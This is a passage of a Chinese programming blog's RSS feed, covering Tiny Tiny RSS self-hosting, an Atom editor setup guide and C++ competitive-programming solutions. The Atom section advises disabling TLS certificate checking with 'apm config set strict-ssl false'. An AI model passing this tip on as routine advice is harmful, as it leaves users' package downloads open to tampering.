&lt;p&gt;对于这种问题，绝大多数长期使用 RSS 的人都有一个解决方法，使用在线服务，但是在线服务通常会面临着各种各样的问题，甚至还会有收费限制&lt;/p&gt;
&lt;p&gt;所以我在此推荐一个自搭 RSS 服务 —— &lt;code&gt;Tiny Tiny RSS&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;3.1 Tiny Tiny RSS&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;官网: &amp;lt;&lt;a href=&quot;https://tt-rss.org/&quot;&gt;https://tt-rss.org/&lt;/a&gt;&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;官方支持 Docker 一键搭建，不过因为各种各样的原因，我选择使用比较老旧的方式来搭建&lt;/p&gt;
&lt;p&gt;clone 最新版本到你想要安装的目录 （最好提前和你的 Web 服务器配置好）&lt;/p&gt;
&lt;p&gt;配置好后直接访问&lt;/p&gt;
&lt;p&gt;官方写清楚了安装过程需要做的步骤，不再赘述&lt;/p&gt;
&lt;p&gt;官方并不建议使用 MySQL，如果有条件，请使用 PostgreSQL&lt;/p&gt;
&lt;p&gt;访问后会进行安装，安装完后会跳转的登陆页面，默认用户 &lt;code&gt;admin&lt;/code&gt; 密码 &lt;code&gt;password&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;登陆后请在第一时间修改密码&lt;/p&gt;
&lt;h3&gt;3.2 TT-RSS 的扩展&lt;/h3&gt;
&lt;h4&gt;主题&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;TT-RSS&lt;/code&gt; 使用 CSS 来实现主题功能，因此主题的安装和切换都非常简单，这里有一个推荐的主题 &lt;a href=&quot;https://github.com/levito/tt-rss-feedly-theme&quot;&gt;levito/tt-rss-feedly-theme&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;扩展&lt;/h4&gt;
&lt;p&gt;说起来比较遗憾，貌似最近的大改动使得很多扩展都无法正常运行，我并没有找到一个 能用 &amp;amp;&amp;amp; 有用 的 的插件&lt;/p&gt;
&lt;h4&gt;使用&lt;/h4&gt;
&lt;p&gt;但是说来有意思的是，大多数 TT-RSS 的扩展都是为了使其更加符合主流规范，但是 TT-RSS 正在逐渐变得主流起来，所以有很多的客户端里面都有 TT-RSS 的原生支持&lt;/p&gt;
&lt;p&gt;目前我在用的安卓是 Feedme，Linux 直接网页端了，体验很不错&lt;/p&gt;
&lt;h4&gt;更加有趣的使用方法？&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;配合 IFTTT 无所不能&lt;/li&gt;
&lt;li&gt;BT 下载订阅&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4 总结&lt;/h2&gt;
&lt;p&gt;本文面对有一定搭建各种各样东西经验的人，介绍了 TT-RSS 和 RSShub 并进行了推荐和搭建指南&lt;/p&gt;
&lt;p&gt;对所有读者介绍并推荐了 RSS 这一消息聚合规范&lt;/p&gt;
&lt;p&gt;本文没有过多的讲明使用方式的详情，因为网上资料过多，没有必要再作说明&lt;/p&gt;
&lt;h2&gt;5 说在之后&lt;/h2&gt;
&lt;p&gt;随着时代的发展，各个平台都开始明白流量为王的这一规律，逐渐开始隐藏 RSS 这一站外阅读消息的方式，使得诸如我们一代的年轻人只能在一些年代久远的网站找到这个名字，加上 今日头条 百家号 等等资讯聚合平台的出现，使得有些人甚至未曾听过这个名字&lt;/p&gt;
&lt;p&gt;「RSS 不是过时的产物吗？」，这是我一个同学在听到这个词语的反应，当然，这个反应在同龄人来说已经稀少，毕竟他是竞赛选手，但是更加普通的学生，可能会变成「什么是 RSS？」这种反应&lt;/p&gt;
&lt;p&gt;确实，就 RSS 本身在协议这个角度而言，它已经过时了，使用率低之又低，但是纵使是那些所谓的算法推荐，还是自动推送，却也始终未曾偏离 RSS 的 内容 标题 时间 的要素，依然是 「时间轴上的信息流」&lt;/p&gt;
&lt;p&gt;平台是没有做错的，将用户拉到自己平台上来，增加平台的用户活跃度，增加广告被看到的几率，为了生存，这是应当做的&lt;/p&gt;
&lt;p&gt;对于我们来说，在一个聚合平台上面也许也可以满足我们的需求，但同时也在将自己的选择权让给了平台，将隐私送给了他人，将思维给了算法&lt;/p&gt;
&lt;p&gt;从这一角度而言，RSS 的有限，使得我们更加容易的获取自己想要的内容，没有了算法的智能推荐，将更多的思想空间留给自己&lt;/p&gt;
&lt;p&gt;RSSHub 解决了网站没有 RSS 的问题，Tiny Tiny RSS 解决了信息整理的问题，通过这一手段，我们可以控制住自己的信息获取渠道，将思考和选择的权利留在自己手上&lt;/p&gt;
&lt;h2&gt;6 参考 &amp;amp; 推荐阅读&lt;/h2&gt;
&lt;p&gt;如何搭建属于自己的 RSS 服务，高效精准获取信息: &lt;a href=&quot;https://sspai.com/post/41302&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://sspai.com/post/41302&quot;&gt;https://sspai.com/post/41302&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我有特别的 RSS 使用技巧: &lt;a href=&quot;https://diygod.me/ohmyrss&quot;&gt;https://diygod.me/ohmyrss&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>linux</category><author>woshiluo</author></item><item><title>Atom 上手指北</title><link>https://blog.woshiluo.com/posts/2019/05/atom-%E4%B8%8A%E6%89%8B%E6%8C%87%E5%8C%97/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/05/atom-%E4%B8%8A%E6%89%8B%E6%8C%87%E5%8C%97/</guid><pubDate>Sun, 26 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 缘起&lt;/h2&gt;
&lt;p&gt;在 Luogu 日报上看到一篇 &lt;a href=&quot;https://80358.blog.luogu.org/atom-qwq&quot;&gt;Atom小清新上手指南&lt;/a&gt; ，经过了一番适应与调教，感觉十分优秀&lt;/p&gt;
&lt;p&gt;不过多数这种自定义性极高的软件，通常都需要很多插件与一些配置，特写此文，留作自用&lt;/p&gt;
&lt;p&gt;若能帮助到有需要的人，那是最好的&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;1 Atom&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Atom&lt;/strong&gt;是由 &lt;a href=&quot;https://zh.wikipedia.org/wiki/GitHub&quot;&gt;GitHub&lt;/a&gt; 开发的 &lt;a href=&quot;https://zh.wikipedia.org/wiki/%E8%87%AA%E7%94%B1%E5%8F%8A%E5%BC%80%E6%94%BE%E6%BA%90%E4%BB%A3%E7%A0%81%E8%BD%AF%E4%BB%B6&quot;&gt;自由及开放源代码&lt;/a&gt; 的 &lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%96%87%E5%AD%97%E7%B7%A8%E8%BC%AF%E5%99%A8&quot;&gt;文字与代码编辑器&lt;/a&gt; ,支持 &lt;a href=&quot;https://zh.wikipedia.org/wiki/Node.js&quot;&gt;Node.js&lt;/a&gt; 所写的插件，并内置由 &lt;a href=&quot;https://zh.wikipedia.org/wiki/GitHub&quot;&gt;Github&lt;/a&gt; 提供的 &lt;a href=&quot;https://zh.wikipedia.org/wiki/Git&quot;&gt;Git版本控制系统&lt;/a&gt; 。多数的延伸包皆为开放源代码授权，并由社群建置与维护。Atom 基于使用 &lt;a href=&quot;https://zh.wikipedia.org/wiki/Chromium&quot;&gt;Chromium&lt;/a&gt; 和 Node.js 的跨平台应用框架 &lt;a href=&quot;https://zh.wikipedia.org/wiki/Electron&quot;&gt;Electron&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://zh.wikipedia.org/zh-cn/Atom_(%E6%96%87%E5%AD%97%E7%B7%A8%E8%BC%AF%E5%99%A8)&quot;&gt;Wikipedia - Atom&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;A hackable text editor for the 21st Century&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://atom.io/&quot;&gt;atom.io&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1.1 一点比较&lt;/h3&gt;
&lt;p&gt;Atom 与 Visual Studio Code 基于相同的框架 Electron ，但是两者的编辑器核心并不一样，在我的电脑上，VS code 和 Atom 启动速度相同，但是 Atom 的体验更加符合我的心意&lt;/p&gt;
&lt;p&gt;Atom 与 Vim / Emacs 我个人认为是没有可比性的，在我眼里，这两种工具并不是一个类型的，我个人的用法一直都是 小文件/源码 编辑 Vim，文件夹内的大规模修改或者是项目就使用 Atom / VS code&lt;/p&gt;
&lt;p&gt;虽然因为架构问题，Atom 和 VS code 无论实在安装包大小还是运行效率方面都比不过 Sublime Text，可是光收费一句话就足以让我告辞了，毕竟上面的两个问题随着时代的发展已经逐渐不成问题&lt;/p&gt;
&lt;h2&gt;2 安装&lt;/h2&gt;
&lt;p&gt;请自行去官网下载安装包&lt;/p&gt;
&lt;p&gt;目前来说，如果你自己连安装包都没有办法从官网下到，那么您应当考虑放弃这款编辑器，因为下面的步骤一般您都很难进行，VS code 或许更加适合您&lt;/p&gt;
&lt;h2&gt;3 个性化&lt;/h2&gt;
&lt;p&gt;Atom 有一个包管理器&lt;code&gt;apm&lt;/code&gt;，你可以非常方便的使用命令行来管理 Atom 的包&lt;/p&gt;
&lt;p&gt;我们都会有不可避免的要使用 Proxy Server 链接外网的时候，但是普通的终端 Proxy 设置方法并不会对 apm 甚至 Atom 本身有任何作用，我们需要一些特有方法&lt;/p&gt;
&lt;p&gt;&lt;code&gt;apm&lt;/code&gt; 的设置方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; apm config set strict-ssl false
 apm config set http-proxy &amp;lt;proxy_server&amp;gt;
 apm config set https-proxy &amp;lt;proxy_server&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Atom 需要稍微在启动时加点东西&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;atom --proxy-server=&quot;&amp;lt;proxy_server&amp;gt;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我当时查了半天没有查到 Atom 的，最后查了下 Chrome 的设置方法，套上去就成了……&lt;/p&gt;
&lt;h3&gt;主题&lt;/h3&gt;
&lt;p&gt;强势安利我使用的 &lt;code&gt;atom-material-ui&lt;/code&gt; 和 &lt;code&gt;atom-material-syntax&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;超级好看而且自定义项目超级多&lt;/p&gt;
&lt;h3&gt;插件&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;atom-clock&lt;/li&gt;
&lt;li&gt;emmet&lt;/li&gt;
&lt;li&gt;file-icons&lt;/li&gt;
&lt;li&gt;minimap&lt;/li&gt;
&lt;li&gt;pigments&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4 配置文件&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&quot;*&quot;:
  &quot;atom-clock&quot;:
    dateFormat: &quot;YYYY.MM.DD dddd HH:MM:ss   &quot;
    refreshInterval: 1
  &quot;atom-material-ui&quot;:
    colors:
      abaseColor: &quot;#2196f3&quot;
      predefinedColor: &quot;Blue&quot;
    tabs:
      compactTabs: true
      stretchedTabs: true
    ui:
      panelContrast: true
      panelShadows: true
  core:
    autoHideMenuBar: true
    closeDeletedFileTabs: true
    disabledPackages: [
      &quot;spell-check&quot;
      &quot;vim-mode-plus-ex-mode&quot;
      &quot;atom-file-icons&quot;
    ]
    telemetryConsent: &quot;limited&quot;
    themes: [
      &quot;atom-material-ui&quot;
      &quot;atom-material-syntax&quot;
    ]
  editor:
    atomicSoftTabs: false
    fontFamily: &quot;Source Code Pro for Powerline&quot;
    invisibles: {}
    showInvisibles: true
    softTabs: false
    tabLength: 4
  &quot;exception-reporting&quot;:
    userId: &quot;6da2c9a7-1d60-48a5-be83-ddd5a62a8ed2&quot;
  &quot;vim-mode-plus&quot;: {}
  welcome:
    showOnStartup: false
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5 总结&lt;/h2&gt;
&lt;p&gt;先说一下个人基本情况吧，Oier，Linux 用户&lt;/p&gt;
&lt;p&gt;很明显，对于 Oier，过于熟悉一款 NOI Linux 没有的 Text Editor 而不熟悉 NOI Linux 上有的是十分危险的，考场上并不是一个适应新 Text Editor 的好地方&lt;/p&gt;
&lt;p&gt;所以 Atom 很明显不会拿来写 Oi 题目，但是其本身是有必要的，特别是对于各种奇奇怪怪的项目和文件夹整理的时候&lt;/p&gt;
&lt;p&gt;加着我个人并不喜欢将 Text Editor 变成 IDE，所以将 Atom 作为一个高于 Vim 低于 IDE 的一层是最舒服虽然我根本就没有 IDE 一层&lt;/p&gt;
</content:encoded><category>linux</category><author>woshiluo</author></item><item><title>CTS&amp;APIO2019游记</title><link>https://blog.woshiluo.com/posts/2019/05/ctsapio2019%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/05/ctsapio2019%E6%B8%B8%E8%AE%B0/</guid><pubDate>Sat, 18 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;自闭了，自闭选手不配拥有游记&lt;/p&gt;
</content:encoded><author>woshiluo</author></item><item><title>Luogu  P2607 [ZJOI2008]骑士</title><link>https://blog.woshiluo.com/posts/2019/05/luogu-p2607-zjoi2008%E9%AA%91%E5%A3%AB/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/05/luogu-p2607-zjoi2008%E9%AA%91%E5%A3%AB/</guid><pubDate>Thu, 09 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://www.luogu.org/problemnew/show/P2607&quot;&gt;https://www.luogu.org/problemnew/show/P2607&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;题目意思非常简单，给你一张图，然后图中不能选最大相邻点，最后最大的选中的点的权值&lt;/p&gt;
&lt;p&gt;很容易想到 没有上司的舞会 这种树形 DP 题目，但是显然，这，并不是一棵树&lt;/p&gt;
&lt;p&gt;根据题目可得，每一个人只会有一条出边，即，这张图中，一张节点个数为 $n$ 的联通块，会有 $n$ 条边&lt;/p&gt;
&lt;p&gt;环套树没得跑了&lt;/p&gt;
&lt;p&gt;即每一个联通块中一定有一条边，删掉后就是树了&lt;/p&gt;
&lt;p&gt;设这条边为 $u - v$ 的边，则 $\max(f_{u,0}, f_{u,1})$ 就是这个联通块的答案&lt;/p&gt;
&lt;p&gt;建双向边判环即可&lt;/p&gt;
&lt;p&gt;至于代码中的 xor ，当反向边即可&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

inline long long Max(long long a, long long b) {return a &amp;gt; b? a: b;}

const int N = 1100000;

// edge start
struct node{
    int next, to;
}e[N &amp;lt;&amp;lt; 1];
int ehead[N], ecnt;
inline void add_edge(int now, int to){
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].next = ehead[now];
    ehead[now] = ecnt;
}
// edge end

int n, from, to, cir_edge;
int fig[N];
long long f[N][2];
bool vis[N];

void tarjan(int now, int fa){
    vis[now] = true;
    for(int i = ehead[now]; i &amp;gt; 1; i = e[i].next){
        if( (i ^ 1) == fa )
            continue;
        if(vis[ e[i].to ]){
            from = now, to = e[i].to;
            cir_edge = i;
            continue;
        }
        tarjan(e[i].to, i);
    }
}

void dfs(int now, int fa){
    f[now][0] = 0;
    f[now][1] = fig[now];
    for(int i = ehead[now]; i &amp;gt; 1; i = e[i].next){
        if( (i ^ 1) == fa )
            continue;
        if(i == cir_edge || (i ^ 1) == cir_edge)
            continue;
        dfs(e[i].to, i);
        f[now][1] += f[ e[i].to ][0];
        f[now][0] += Max(f[ e[i].to ][1], f[ e[i].to ][0]);
    }
}

int main(){
    ecnt = 1;
    scanf(&quot;%d&quot;, &amp;amp;n);
    for(int i = 1, tmp; i &amp;lt;= n; i++){
        scanf(&quot;%d%d&quot;, &amp;amp;fig[i], &amp;amp;tmp);
        add_edge(i, tmp);
        add_edge(tmp, i);
    }
    long long ans = 0;
    for(int i = 1; i &amp;lt;= n; i++){
        if(vis[i])
            continue;
        tarjan(i, -2);
        dfs(from, -1);
        long long temp = f[from][0];
        dfs(to, -1);
        temp = Max(temp, f[to][0]);
        ans += temp;
    }
    printf(&quot;%lld&quot;, ans);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>「BJOI2019」光线</title><link>https://blog.woshiluo.com/posts/2019/05/bjoi2019%E5%85%89%E7%BA%BF/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/05/bjoi2019%E5%85%89%E7%BA%BF/</guid><pubDate>Wed, 08 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://oj.woshiluo.site/problem/2055&quot;&gt;https://oj.woshiluo.site/problem/2055&lt;/a&gt; / &lt;a href=&quot;https://www.luogu.org/problemnew/show/P5323&quot;&gt;https://www.luogu.org/problemnew/show/P5323&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我看到题目的一瞬间&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我是在学 oi 还是在学物理？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;然后我仔细思考了一下，这两个镜子来回反射，您这是要求极限？&lt;/p&gt;
&lt;p&gt;然后我仔细思考了一下&lt;/p&gt;
&lt;p&gt;设 $f_i$ 为从 $1$ 到 $i$ 的透光率，$g_i$ 为从 $i$ 到 $1$ 的反光率&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;则&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
f_i &amp;amp; = f_{i - 1} \times a_i \times \sum_{j = 0} ^ {\infty} (g_{i - 1} \times b_i) ^ j\
g_i &amp;amp; = b_i + g_{i - 1} \times a_i^2 \times \sum_{j = 0} ^ {\infty} (g_{i - 1} \times b_i) ^ j
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;所以，这个无限是个啥？&lt;/p&gt;
&lt;p&gt;好消息在于，对于无限等比数列 $ a_i = a_{i - 1} \times p$ ，若是 $-1 &amp;lt; p &amp;lt; 1$ 竟然有一个公式&lt;/p&gt;
&lt;p&gt;这群数学家每天都在研究啥啊&lt;/p&gt;
&lt;p&gt;即$\sum_{i = 1}^{\infty} a_i = \frac{a_1}{1 - p}$&lt;/p&gt;
&lt;p&gt;套进去就完事了&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

const int N = 5e5 + 1e4;
const int mod = 1e9 + 7;

inline int mul(int a, int b){return (1LL * a * b) % mod;}
inline int dec(int a, int b){a -= b; return a &amp;lt; 0? a + mod: a;}

int ksm(int a, int p = mod - 2){
    int res = 1;
    while(p){
        if(p &amp;amp; 1)
            res = (1LL * res * a) % mod;
        a = (1LL * a * a) % mod;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}

int n;
int a[N], b[N], f[N], g[N];

int main(){
    scanf(&quot;%d&quot;, &amp;amp;n);
    int inv100 = ksm(100);
    for(int i = 1; i &amp;lt;= n; i++){
        scanf(&quot;%d%d&quot;, &amp;amp;a[i], &amp;amp;b[i]);
        a[i] = mul(inv100, a[i]);
        b[i] = mul(inv100, b[i]);
    }

    f[0] = 1;
    for(int i = 1, p; i &amp;lt;= n; i++){
        p = ksm( dec(1, mul(g[i - 1], b[i])) );
        f[i] = mul(mul(f[i - 1], a[i]), p);
        g[i] = (b[i] + mul(mul(g[i - 1], mul(a[i], a[i])), p)) % mod;
    }
    printf(&quot;%d&quot;, f[n]);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>SA 后缀数组入门 -- Luogu  P3809 【模板】后缀排序</title><link>https://blog.woshiluo.com/posts/2019/05/sa-%E5%90%8E%E7%BC%80%E6%95%B0%E7%BB%84%E5%85%A5%E9%97%A8-luogu-p3809-%E6%A8%A1%E6%9D%BF%E5%90%8E%E7%BC%80%E6%8E%92%E5%BA%8F/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/05/sa-%E5%90%8E%E7%BC%80%E6%95%B0%E7%BB%84%E5%85%A5%E9%97%A8-luogu-p3809-%E6%A8%A1%E6%9D%BF%E5%90%8E%E7%BC%80%E6%8E%92%E5%BA%8F/</guid><pubDate>Wed, 08 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://www.luogu.org/problemnew/show/P3809&quot;&gt;https://www.luogu.org/problemnew/show/P3809&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;后缀数组&lt;/h3&gt;
&lt;p&gt;后缀数组用于解决各种玄学字符串问题，准确来说，它是一种思想&lt;/p&gt;
&lt;p&gt;基于后缀数组有很多好玩毒瘤的东西&lt;/p&gt;
&lt;p&gt;目前已知的求后缀数组的方法有&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;倍增法 (本博客所讲述) -- $O(n \log(n))$&lt;/li&gt;
&lt;li&gt;DC3 -- $O(n)$
&lt;ul&gt;
&lt;li&gt;DC3 虽然从复杂度分析的角度而言比倍增快，但配合各种常数问题，在信息学竞赛中反而容易被卡……&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SA - IS 算法 -- $O(n)$
&lt;ul&gt;
&lt;li&gt;可以参考这篇 Luogu 日报: &lt;a href=&quot;https://www.luogu.org/blog/ShadowassIIXVIIIIV/on-hou-zhui-shuo-zu-sa-is-suan-fa&quot;&gt;https://www.luogu.org/blog/ShadowassIIXVIIIIV/on-hou-zhui-shuo-zu-sa-is-suan-fa&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因为我太菜了，所以我就讲倍增求法&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h3&gt;倍增求后缀数组&lt;/h3&gt;
&lt;p&gt;与其说倍增求后缀数组，倒不如说是 倍增 + 基数排序 求后缀数组&lt;/p&gt;
&lt;p&gt;我们先从归并排序讲起&lt;/p&gt;
&lt;h4&gt;基数排序&lt;/h4&gt;
&lt;p&gt;基数排序，用于给形如 $(a, b)$ 的二元组排序（$a$ 为第一关键字，$b$ 为第二关键字）&lt;/p&gt;
&lt;p&gt;可以做到在近似 $O(n)$ 的复杂度完成&lt;/p&gt;
&lt;p&gt;通过灵活的运用基数排序，可以比绝大多数的排序算法更加优秀&lt;/p&gt;
&lt;p&gt;因此也被用来在快速排序模板中占领效率 rk1&lt;/p&gt;
&lt;h4&gt;倍增的用处&lt;/h4&gt;
&lt;p&gt;我们发现如果我们直接暴力求倍增数组，重复的前缀被计算了多次&lt;/p&gt;
&lt;p&gt;如果我们一开设长度为 $1$ 字串为一个单位，排完序后设长度为二为一个单位，我们就会发现这个可以基数排序&lt;/p&gt;
&lt;p&gt;之后设长度为 $4$ 为一个单位，依然可以基数排序，以此类推，便可以做到后缀排序&lt;/p&gt;
&lt;p&gt;这个过程，也就是倍增&lt;/p&gt;
&lt;p&gt;倍增 $O(\log(n))$&lt;/p&gt;
&lt;p&gt;基数排序 $O(n)$&lt;/p&gt;
&lt;p&gt;套起来 $O(n \log(n))$&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

const int N = 1e6 + 1e5;

int len, Max_char;
int sa[N], tp[N], rank[N], rank_cnt[N];
char str[N];
// Max_char 基数排序最大项
// sa[i] 如上文所述
// tp[i] 第二关键字
// rank[ sa[i] ] = i 从第 i 个字母开始的排名
// rand_cnt[i] 统计 rank 的和，基数排序用

// 基数排序
void sort(){
    memset(rank_cnt, 0, sizeof(rank_cnt));
    // 统计 rank_cnt
    for(int i = 1; i &amp;lt;= len; i++)
        rank_cnt[ rank[i] ] ++;
    // 前缀
    for(int i = 1; i &amp;lt;= Max_char; i++)
        rank_cnt[i] += rank_cnt[i - 1];
    // 计算出 sa
    for(int i = len; i &amp;gt; 0; i--)
        sa[ rank_cnt[ rank[ tp[i] ] ] -- ] = tp[i];
}

void get_sa(){
    Max_char = &apos;z&apos; - &apos;0&apos; + 2;
    // 长度为 1 的预处理
    for(int i = 1; i &amp;lt;= len; i++){
        rank[i] = str[i] - &apos;0&apos; + 1;
        tp[i] = i;
    }
    sort();
    // 倍增
    for(int l = 1, tmp_cnt; tmp_cnt &amp;lt; len; l &amp;lt;&amp;lt;= 1, Max_char = tmp_cnt){
        tmp_cnt = 0;
        // 处理第二关键字
        for(int i = 1; i &amp;lt;= l; i++)
            tp[ ++ tmp_cnt ] = len - l + i;
        for(int i = 1; i &amp;lt;= len; i++){
            if( sa[i] &amp;gt; l )
                tp[ ++ tmp_cnt ] = sa[i] - l;
        }
        sort();

        memcpy(tp, rank, sizeof(rank));
        rank[ sa[1] ] = tmp_cnt = 1;
        for(int i = 2; i &amp;lt;= len; i++){
            // 判断重复（判断一个二元组）
            rank[ sa[i] ] = ( tp[ sa[i] ] == tp[ sa[i - 1] ] &amp;amp;&amp;amp; tp[ sa[i] + l ] == tp[ sa[i - 1] + l ]) ? tmp_cnt: ++ tmp_cnt;
        }
    }
}

int main(){
    scanf(&quot;%s&quot;, str + 1);
    len = strlen(str + 1);

    get_sa();

    // 输出
    for(int i = 1; i &amp;lt;= len; i++)
        printf(&quot;%d &quot;, sa[i]);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Luogu P3174 [HAOI2009]毛毛虫</title><link>https://blog.woshiluo.com/posts/2019/05/p3174-haoi2009%E6%AF%9B%E6%AF%9B%E8%99%AB/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/05/p3174-haoi2009%E6%AF%9B%E6%AF%9B%E8%99%AB/</guid><pubDate>Sun, 05 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://www.luogu.org/problemnew/show/P3174&quot;&gt;https://www.luogu.org/problemnew/show/P3174&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这应该是我第一次没看 sol 做紫题吧……&lt;/p&gt;
&lt;p&gt;虽然个人感觉比大多数紫题简单许多&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;题目本质是要求最长链的，但是要求是带每个点周围点的&lt;/p&gt;
&lt;p&gt;我们设每个点的点权是这个点的连接点个数减 1&lt;/p&gt;
&lt;p&gt;然后求最长链&lt;/p&gt;
&lt;p&gt;得出来的链的长度 +2 即为答案&lt;/p&gt;
&lt;p&gt;可以理解为因为大多数点都有一条边要连出去防止重复计算而减一&lt;/p&gt;
&lt;p&gt;但是这样链头链尾会没算上，所以加二&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

inline int Max(int a, int b){return a &amp;gt; b? a: b;}

const int N = 310000;

int n, m, ans;
int dis[N], val[N];

// edge start
struct edge{
    int to, next;
}e[N &amp;lt;&amp;lt; 1];
int ehead[N], ecnt;

inline void add_edge(int now, int to){
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].next = ehead[now];
    ehead[now] = ecnt;
}
// edge end

void get_val(){
    for(int u = 1, cnt; u &amp;lt;= n; u++){
        cnt = 0;
        for(int i = ehead[u]; i; i = e[i].next){
            cnt ++;
        }
        val[u] = cnt - 1;
    }
}

void get_ans(int now = 1, int la = 0){
    int max, sec_max;
    max = sec_max = 0;
    dis[now] = val[now];
    for(int i = ehead[now]; i; i = e[i].next){
        if(e[i].to == la)
            continue;
        get_ans(e[i].to, now);
        if(dis[ e[i].to ] &amp;gt; max){
            sec_max = max;
            max = dis[ e[i].to ];
        }
        else if(dis[ e[i].to ] &amp;gt; sec_max)
            sec_max = dis[ e[i].to ];
//        dis[now] += dis[ e[i].to ];
    }
    dis[now] += max;
    ans = Max(ans, Max(dis[now], max + sec_max + val[now]));
}

int main(){
#ifdef woshiluo
    freopen(&quot;luogu.3174.in&quot;, &quot;r&quot;, stdin);
    freopen(&quot;luogu.3174.out&quot;, &quot;w&quot; ,stdout);
#endif
    scanf(&quot;%d%d&quot;, &amp;amp;n, &amp;amp;m);
    while(m --){
        int u, v;
        scanf(&quot;%d%d&quot;, &amp;amp;u, &amp;amp;v);
        if(u == v) continue;
        add_edge(u, v);
        add_edge(v, u);
    }

    get_val();
    get_ans();

    printf(&quot;%d&quot;, ans + 2);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>CCF WC 2019 游记</title><link>https://blog.woshiluo.com/posts/2019/02/ccf-wc-2019-%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/02/ccf-wc-2019-%E6%B8%B8%E8%AE%B0/</guid><pubDate>Fri, 01 Feb 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Day -1&lt;/h2&gt;
&lt;p&gt;上午起来收拾了一下就前往乌鲁木齐市机场了&lt;/p&gt;
&lt;p&gt;在机场里面互相定位是一件困难的事情，我们最终通过奇迹淫巧和瞎挥手聚在了一起&lt;/p&gt;
